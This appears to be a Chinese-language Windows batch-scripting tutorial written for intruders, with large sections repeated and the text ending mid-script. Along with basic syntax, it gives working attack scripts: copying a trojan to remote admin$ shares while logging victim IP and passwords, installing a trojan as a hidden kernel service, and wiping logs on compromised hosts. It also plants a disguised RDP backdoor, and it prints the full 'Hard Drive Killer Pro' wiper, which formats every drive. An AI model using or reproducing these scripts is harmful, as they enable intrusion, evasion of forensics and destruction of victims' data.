    用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

    Sample :

    C:/Ex4rch>dir sometips.gif || del sometips.gif

    Volume in drive C has no label.

    Volume Serial Number is 0078-59FB

    Directory of C:/Ex4rch

    2002-05-14 23:55 14 sometips.gif

    1 File(s) 14 bytes

    0 Dir(s) 768,696,320 bytes free

    组合命令使用的例子:

    sample :

    @copy trojan.exe //%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

    批处理详细教程(四)

    四、管道命令的使用

    1.| 命令

    Usage :第一条命令 | 第二条命令 [| 第三条命令 ...]

    将第一条命令的结果作为第二条命令的参数来使用,记得在 unix 中这种方式很常见。

    sample :

    time /t>>D:/IP.log

    netstat -n -p tcp|find ":3389">>D:/IP.log

    start Explorer

    看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个 bat ,以获得登录用户的 IP 。

    2.> 、 >> 输出重定向命令

    将一条命令或某个程序输出结果的重定向到特定文件中 , > 与 >> 的区别在于, > 会清除调原有文件中的内容后写入指定文件,而 >> 只会追加内容到指定文件中,而 
    不会改动其中的内容。

    sample1 :

    echo hello world>c:/hello.txt (stupid example?)

    sample2:

    时下 DLL 木马盛行,我们知道 system32 是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻, DLL 马也不例外,针对这一点我们可以在安装好系统和必要的应用程 
    序后,对该目录下的 EXE 和 DLL 文件作一个记录:

    运行 CMD-- 转换目录到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

    这样所有的 EXE 和 DLL 文件的名称都被分别记录到 exeback.txt 和 dllback.txt 中 ,

    日后如发现异常但用传统的方法查不出问题时 , 则要考虑是不是系统中已经潜入 DLL 木马了 .

    这时我们用同样的命令将 system32 下的 EXE 和 DLL 文件记录到另外的 exeback1.txt 和 dllback1.txt 中 , 然后运行 :

    CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.( 用 FC 命令比较前后两次的 DLL 和 EXE 文件 , 并将结果输入到 diff.txt 
    中 ), 这样我们就能发现一些多出来的 DLL 和 EXE 文件 , 然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被 DLL 木马光顾了。没 
    有是最好,如果有的话也不要直接 DEL 掉,先用 regsvr32 /u trojan.dll 将后门 DLL 文件注销掉 , 再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提 
    交给杀毒软件公司。

    3.< 、 >& 、 <&

    < 从文件中而不是从键盘中读入命令输入。

    >& 将一个句柄的输出写入到另一个句柄的输入中。

    <& 从一个句柄读取输入并将其写入到另一个句柄输出中。

    这些并不常用,也就不多做介绍。

    No.5

    五 . 如何用批处理文件来操作注册表

    在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如 : 为了达到隐藏后门、木马程序而删除 Run 下残余的键值。或者创建一个服务用以加载后门。当 
    然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用 .REG 文件来操作注册表 .( 
    我们可以用批处理来生成一个 REG 文件 )

    关于注册表的操作,常见的是创建、修改、删除。

    1. 创建

    创建分为两种,一种是创建子项 (Subkey)

    我们创建一个文件,内容如下:

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/hacker]

    然后执行该脚本,你就已经在 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft 下创建了一个名字为“ hacker ”的子项。

    另一种是创建一个项目名称

    那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

    "Invader"="Ex4rch"

    "Door"=C://WINNT//system32//door.exe

    "Autodos"=dword:02

    这样就在 [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] 下

    新建了 :Invader 、 door 、 about 这三个项目

    Invader 的类型是“ String value ”

    door 的类型是“ REG SZ value ”

    Autodos 的类型是“ DWORD value ”

    2. 修改

    修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入( regedit /s )即可。

    3. 删除

    我们首先来说说删除一个项目名称,我们创建一个如下的文件:

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

    "Ex4rch"=-

    执行该脚本, [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] 下的 "Ex4rch" 就被删除了;

    我们再看看删除一个子项,我们创建一个如下的脚本:

    Windows Registry Editor Version 5.00

    [-HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

    执行该脚本, [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] 就已经被删除了。

    相信看到这里, .reg 文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的 .reg 文件了,记得我们前面说道的利用重定向符号可以很容易地创建特 
    定类型的文件。

    samlpe1: 如上面的那个例子 , 如想生成如下注册表文件

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

    "Invader"="Ex4rch"

    "door"=hex:255

    "Autodos"=dword:000000128

    只需要这样:

    @echo Windows Registry Editor Version 5.00>>Sample.reg

    @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>Sample.reg

    @echo "Invader"="Ex4rch">>Sample.reg

    @echo "door"=5>>C://WINNT//system32//door.exe>>Sample. reg

    @echo "Autodos"=dword:02>>Sample.reg

    samlpe2:

    我们现在在使用一些比较老的木马时 , 可能会在注册表的 [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/ CurrentVersion/Run(Runonce 、 Runservices 、 
    Runexec)] 下生成一个键值用来实现木马的自启动 . 但是这样很容易暴露木马程序的路径 , 从而导致木马被查杀 , 相对地若是将木马程序注册为系统服务则相对安全一 
    些 . 下面以配置好地 IRC 木马 DSNX 为例 ( 名为 windrv32.exe)

    @start windrv32.exe

    @attrib +h +r windrv32.exe

    @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] >>patch.dll

    @echo "windsnx "=- >>patch.dll

    @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:/winnt/system32/windrv32.exe

    @regedit /s patch.dll

    @delete patch.dll

    @REM [ 删除 DSNXDE 在注册表中的启动项,用 sc.exe 将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并 config 为自启动 ]

    @REM 这样不是更安全 ^_^.

    批处理详细教程(五)

    六 . 精彩实例放送。

    1. 删除 win2k/xp 系统默认共享的批处理

    ------------------------ cut here then save as .bat or .cmd file ---------------------------

    @echo preparing to delete all the default shares.when ready pres any key.

    @pause

    @echo off

    :Rem check parameters if null show usage.

    if {%1}=={} goto :Usage

    :Rem code start.

    echo.

    echo ------------------------------------------------------

    echo.

    echo Now deleting all the default shares.

    echo.

    net share %1$ /delete

    net share %2$ /delete

    net share %3$ /delete

    net share %4$ /delete

    net share %5$ /delete

    net share %6$ /delete

    net share %7$ /delete

    net share %8$ /delete

    net share %9$ /delete

    net stop Server

    net start Server

    echo.

    echo All the shares have been deleteed

    echo.

    echo ------------------------------------------------------

    echo.

    echo Now modify the registry to change the system default properties.

    echo.

    echo Now creating the registry file

    echo Windows Registry Editor Version 5.00> c:/delshare.reg

    echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/delshare.reg

    echo "AutoShareWks"=dword:00000000>> c:/delshare.reg

    echo "AutoShareServer"=dword:00000000>> c:/delshare.reg

    echo Nowing using the registry file to chang the system default properties.

    regedit /s c:/delshare.reg

    echo Deleting the temprotarily files.

    del c:/delshare.reg

    goto :END

    :Usage

    echo.

    echo ------------------------------------------------------

    echo.

    echo ☆ A example for batch file ☆

    echo ☆ [Use batch file to change the sysytem share properties.] ☆

    echo.

    echo Author : Ex4rch

    echo Mail:Ex4rch@hotmail.com QQ:1672602

    echo.

    echo Error : Not enough parameters

    echo.

    echo ☆ Please enter the share disk you wanna delete ☆

    echo.

    echo For instance , to delete the default shares:

    echo delshare c d e ipc admin print

    echo.

    echo If the disklable is not as C: D: E: , Please chang it youself.

    echo.

    echo example :

    echo If locak disklable are C: D: E: X: Y: Z: , you should chang the command into :

    echo delshare c d e x y z ipc admin print

    echo.

    echo *** you can delete nine shares once in a useing ***

    echo.

    echo ------------------------------------------------------

    goto :EOF

    :END

    echo.

    echo ------------------------------------------------------

    echo.

    echo OK,delshare.bat has deleted all the share you assigned.

    echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.

    echo

    echo.

    echo ------------------------------------------------------

    echo.

    :EOF

    echo end of the batch file

    ------------------------ cut here then save as .bat or .cmd file ---------------------------

    2. 全面加固系统(给肉鸡打补丁)的批处理文件

    ------------------------ cut here then save as .bat or .cmd file ---------------------------

    @echo Windows Registry Editor Version 5.00 >patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters] >>patch.dll

    @echo "AutoShareServer"=dword:00000000 >>patch.dll

    @echo "AutoShareWks"=dword:00000000 >>patch.dll

    @REM [ 禁止共享 ]

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] >>patch.dll

    @echo "restrictanonymous"=dword:00000001 >>patch.dll

    @REM [ 禁止匿名登录 ]

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters] >>patch.dll

    @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll

    @REM [ 禁止及文件访问和打印共享 ]

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/@REMoteRegistry] >>patch.dll

    @echo "Start"=dword:00000004 >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Schedule] >>patch.dll

    @echo "Start"=dword:00000004 >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>patch.dll

    @echo "ShutdownWithoutLogon"="0" >>patch.dll

    @REM [ 禁止登录前关机 ]

    @echo "DontDisplayLastUserName"="1" >>patch.dll

    @REM [ 禁止显示前一个登录用户名称 ]

    @regedit /s patch.dll

    ------------------------ cut here then save as .bat or .cmd file ---------------------------

    下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的 terminnal service 留跳后路。

    @regedit /s patch.dll

    @net stop w3svc

    @net stop event log

    @del c:/winnt/system32/logfiles/w3svc1/*.* /f /q

    @del c:/winnt/system32/logfiles/w3svc2/*.* /f /q

    @del c:/winnt/system32/config/*.event /f /q

    @del c:/winnt/system32dtclog/*.* /f /q

    @del c:/winnt/*.txt /f /q

    @del c:/winnt/*.log /f /q

    @net start w3svc

    @net start event log

    @rem [ 删除日志 ]

    @net stop lanmanserver /y

    @net stop Schedule /y

    @net stop RemoteRegistry /y

    @del patch.dll

    @echo The server has been patched,Have fun.

    @del patch.bat

    @REM [ 禁止一些危险的服务。 ]

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/WinStations/RDP-Tcp] >>patch.dll

    @echo "PortNumber"=dword:00002010 >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/Wds/rdpwd/Tds/tcp >>patch.dll

    @echo "PortNumber"=dword:00002012 >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>patch.dll

    @echo "Start"=dword:00000002 >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>patch.dll

    @echo "Start"=dword:00000002 >>patch.dll

    @echo "ErrorControl"=dword:00000001 >>patch.dll

    @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,/ >>patch.dll

    @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,65,/ >>patch.dll

    @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78, 00,65,00,00,00 >>patch.dll

    @echo "ObjectName"="LocalSystem" >>patch.dll

    @echo "Type"=dword:00000010 >>patch.dll

    @echo "Description"="Keep record of the program and windows message 。 " >>patch.dll

    @echo "DisplayName"="Microsoft EventLog" >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>patch.dll

    @echo "Start"=dword:00000004 >>patch.dll

    @copy c:/winnt/system32/termsrv.exe c:/winnt/system32/eventlog.exe

    @REM [ 修改 3389 连接,端口为 8210( 十六进制为 00002012) ,名称为 Microsoft EventLog ,留条后路 ]

    3.Hard Drive Killer Pro Version 4.0 (玩批处理到这个水平真的不容易了。)

    ------------------------ cut here then save as .bat or .cmd file ---------------------------

    @echo off

    rem This program is dedecated to a very special person that does not want to be named.

    :start

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    call attrib -r -h c:/autoexec.bat >nul

    echo @echo off >c:/autoexec.bat

    echo call format c: /q /u /autoSample >nul >>c:/autoexec.bat

    call attrib +r +h c:/autoexec.bat >nul

    rem Drive checking and assigning the valid drives to the drive variable.

    set drive=

    set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

    rem code insertion for Drive Checking takes place here.

    rem drivechk.bat is the file name under the root directory.

    rem As far as the drive detection and drive variable settings, dont worry about how it

    rem works, its d/*amn to complicated for the average or even the expert batch programmer.

    rem Except for Tom Lavedas.

    echo @echo off >drivechk.bat

    echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

    %comspec% /e:2048 /c {t}.bat >>drivechk.bat

    del {t}.bat

    echo if errorlevel 1 goto enddc >>drivechk.bat

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    rem When errorlevel is 1, then the above is not true, if 0, then its true.

    rem Opposite of binary rules. If 0, it will elaps to the next command.

    echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >{t}.bat

    %comspec% /e:2048 /c {t}.bat >>drivechk.bat

    del {t}.bat

    echo if errorlevel 1 goto enddc >>drivechk.bat

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

    rem if errorlevel is 0, then it will elaps to the next command.

    echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

    %comspec% /e:2048 /c {t}.bat >>drivechk.bat

    del {t}.bat

    echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

    rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

    echo :enddc >>drivechk.bat

    rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

    rem Now we will use the program drivechk.bat to attain valid drive information.

    :Sampledrv

    for %%a in (%alldrive%) do call drivechk.bat %%a >nul

    del drivechk.bat >nul

    if %drive.==. set drive=c

    :form_del

    call attrib -r -h c:/autoexec.bat >nul

    echo @echo off >c:/autoexec.bat

    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

    echo cd/ >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

    echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat

    echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat

    echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat

    echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat

    echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat

    echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat

    echo echo. >>c:/autoexec.bat

    echo echo Regards, >>c:/autoexec.bat

    echo echo. >>c:/autoexec.bat

    echo echo Munga Bunga >>c:/autoexec.bat

    call attrib +r +h c:/autoexec.bat

    :makedir

    if exist c:/temp.bat attrib -r -h c:/temp.bat >nul

    echo @echo off >c:/temp.bat

    echo %%1:/ >>c:/temp.bat

    echo cd/ >>c:/temp.bat

    echo :startmd >>c:/temp.bat

    echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat

    echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:/temp.bat

    echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/% 
    %2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat

    call attrib +r +h c:/temp.bat >nul

    cls

    echo Initializing Variables . . .

    rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction.

    for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

    cls

    echo Initializing Variables . . .

    echo Validating Data . . .

    for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

    cls

    echo Initializing Variables . . .

    echo Validating Data . . .

    echo Analyzing System Structure . . .

    for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul

    call attrib +r +h c:/temp.bat >nul

    call attrib +r +h c:/autoexec.bat >nul

    cls

    echo Initializing Variables . . .

    echo Validating Data . . .

    echo Analyzing System Structure . . .

    echo Initializing Application . . .

    for %%a in (%drive%) call deltree /y %%a:/*. >nul

    cls

    echo Initializing Variables . . .

    echo Validating Data . . .

    echo Analyzing System Structure . . .

    echo Initializing Application . . .

    echo Starting Application . . .

    for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

    cls

    echo Thank you for using a Munga Bunga product.

    echo.

    echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.

    echo.

    echo Here is a joke for you . . .

    echo.

    echo Q). Whats the worst thing about being an egg?

    echo A). You only get laid once.

    echo.

    echo HAHAHAHA, get it? Dont you just love that one?

    echo.

    echo Regards,

    echo.

    echo Munga Bunga

    :end

    rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

    rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

    批处理详细教程(结尾篇)

    六 . 精彩实例放送。

    1. 删除 win2k/xp 系统默认共享的批处理

    ------------------------ cut here then save as .bat or .cmd file ---------------------------

    @echo preparing to delete all the default shares.when ready pres any key.

    @pause

    @echo off

    :Rem check parameters if null show usage.

    if {%1}=={} goto :Usage

    :Rem code start.

    echo.

    echo ------------------------------------------------------

    echo.

    echo Now deleting all the default shares.

    echo.

    net share %1$ /delete

    net share %2$ /delete

    net share %3$ /delete

    net share %4$ /delete

    net share %5$ /delete

    net share %6$ /delete

    net share %7$ /delete

    net share %8$ /delete

    net share %9$ /delete

    net stop Server

    net start Server

    echo.

    echo All the shares have been deleteed

    echo.

    echo ------------------------------------------------------

    echo.

    echo Now modify the registry to change the system default properties.

    echo.

    echo Now creating the registry file

    echo Windows Registry Editor Version 5.00> c:/delshare.reg

    echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/delshare.reg

    echo "AutoShareWks"=dword:00000000>> c:/delshare.reg

    echo "AutoShareServer"=dword:00000000>> c:/delshare.reg

    echo Nowing using the registry file to chang the system default properties.

    regedit /s c:/delshare.reg

    echo Deleting the temprotarily files.

    del c:/delshare.reg

    goto :END

    :Usage

    echo.

    echo ------------------------------------------------------

    echo.

    echo ☆ A example for batch file ☆

    echo ☆ [Use batch file to change the sysytem share properties.] ☆

    echo.

    echo Author : Ex4rch

    echo Mail:Ex4rch@hotmail.com QQ:1672602

    echo.

    echo Error : Not enough parameters

    echo.

    echo ☆ Please enter the share disk you wanna delete ☆

    echo.

    echo For instance , to delete the default shares:

    echo delshare c d e ipc admin print

    echo.

    echo If the disklable is not as C: D: E: , Please chang it youself.

    echo.

    echo example :

    echo If locak disklable are C: D: E: X: Y: Z: , you should chang the command into :

    echo delshare c d e x y z ipc admin print

    echo.

    echo *** you can delete nine shares once in a useing ***

    echo.

    echo ------------------------------------------------------

    goto :EOF

    :END

    echo.

    echo ------------------------------------------------------

    echo.

    echo OK,delshare.bat has deleted all the share you assigned.

    echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.

    echo

    echo.

    echo ------------------------------------------------------

    echo.

    :EOF

    echo end of the batch file

    ------------------------ cut here then save as .bat or .cmd file ---------------------------

    2. 全面加固系统(给肉鸡打补丁)的批处理文件

    ------------------------ cut here then save as .bat or .cmd file ---------------------------

    @echo Windows Registry Editor Version 5.00 >patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters] >>patch.dll

    @echo "AutoShareServer"=dword:00000000 >>patch.dll

    @echo "AutoShareWks"=dword:00000000 >>patch.dll

    @REM [ 禁止共享 ]

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] >>patch.dll

    @echo "restrictanonymous"=dword:00000001 >>patch.dll

    @REM [ 禁止匿名登录 ]

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters] >>patch.dll

    @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll

    @REM [ 禁止及文件访问和打印共享 ]

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/@REMoteRegistry] >>patch.dll

    @echo "Start"=dword:00000004 >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Schedule] >>patch.dll

    @echo "Start"=dword:00000004 >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>patch.dll

    @echo "ShutdownWithoutLogon"="0" >>patch.dll

    @REM [ 禁止登录前关机 ]

    @echo "DontDisplayLastUserName"="1" >>patch.dll

    @REM [ 禁止显示前一个登录用户名称 ]

    @regedit /s patch.dll

    ------------------------ cut here then save as .bat or .cmd file ---------------------------

    下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的 terminnal service 留跳后路。

    @regedit /s patch.dll

    @net stop w3svc

    @net stop event log

    @del c:/winnt/system32/logfiles/w3svc1/*.* /f /q

    @del c:/winnt/system32/logfiles/w3svc2/*.* /f /q

    @del c:/winnt/system32/config/*.event /f /q

    @del c:/winnt/system32dtclog/*.* /f /q

    @del c:/winnt/*.txt /f /q

    @del c:/winnt/*.log /f /q

    @net start w3svc

    @net start event log

    @rem [ 删除日志 ]

    @net stop lanmanserver /y

    @net stop Schedule /y

    @net stop RemoteRegistry /y

    @del patch.dll

    @echo The server has been patched,Have fun.

    @del patch.bat

    @REM [ 禁止一些危险的服务。 ]

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/WinStations/RDP-Tcp] >>patch.dll

    @echo "PortNumber"=dword:00002010 >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/Wds/rdpwd/Tds/tcp >>patch.dll

    @echo "PortNumber"=dword:00002012 >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>patch.dll

    @echo "Start"=dword:00000002 >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>patch.dll

    @echo "Start"=dword:00000002 >>patch.dll

    @echo "ErrorControl"=dword:00000001 >>patch.dll

    @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,/ >>patch.dll

    @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,65,/ >>patch.dll

    @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78, 00,65,00,00,00 >>patch.dll

    @echo "ObjectName"="LocalSystem" >>patch.dll

    @echo "Type"=dword:00000010 >>patch.dll

    @echo "Description"="Keep record of the program and windows message 。 " >>patch.dll

    @echo "DisplayName"="Microsoft EventLog" >>patch.dll

    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>patch.dll

    @echo "Start"=dword:00000004 >>patch.dll

    @copy c:/winnt/system32/termsrv.exe c:/winnt/system32/eventlog.exe

    @REM [ 修改 3389 连接,端口为 8210( 十六进制为 00002012) ,名称为 Microsoft EventLog ,留条后路 ]

    3.Hard Drive Killer Pro Version 4.0 (玩批处理到这个水平真的不容易了。)

    ------------------------ cut here then save as .bat or .cmd file ---------------------------

    @echo off

    rem This program is dedecated to a very special person that does not want to be named.

    :start

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    call attrib -r -h c:/autoexec.bat >nul

    echo @echo off >c:/autoexec.bat

    echo call format c: /q /u /autoSample >nul >>c:/autoexec.bat

    call attrib +r +h c:/autoexec.bat >nul

    rem Drive checking and assigning the valid drives to the drive variable.

    set drive=

    set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

    rem code insertion for Drive Checking takes place here.

    rem drivechk.bat is the file name under the root directory.

    rem As far as the drive detection and drive variable settings, dont worry about how it

    rem works, its d/*amn to complicated for the average or even the expert batch programmer.

    rem Except for Tom Lavedas.

    echo @echo off >drivechk.bat

    echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

    %comspec% /e:2048 /c {t}.bat >>drivechk.bat

    del {t}.bat

    echo if errorlevel 1 goto enddc >>drivechk.bat

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    rem When errorlevel is 1, then the above is not true, if 0, then its true.

    rem Opposite of binary rules. If 0, it will elaps to the next command.

    echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >{t}.bat

    %comspec% /e:2048 /c {t}.bat >>drivechk.bat

    del {t}.bat

    echo if errorlevel 1 goto enddc >>drivechk.bat

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

    rem if errorlevel is 0, then it will elaps to the next command.

    echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

    %comspec% /e:2048 /c {t}.bat >>drivechk.bat

    del {t}.bat

    echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

    rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

    echo :enddc >>drivechk.bat

    rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

    rem Now we will use the program drivechk.bat to attain valid drive information.

    :Sampledrv

    for %%a in (%alldrive%) do call drivechk.bat %%a >nul

    del drivechk.bat >nul

    if %drive.==. set drive=c

    :form_del

    call attrib -r -h c:/autoexec.bat >nul

    echo @echo off >c:/autoexec.bat

    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

    echo cls >>c:/autoexec.bat

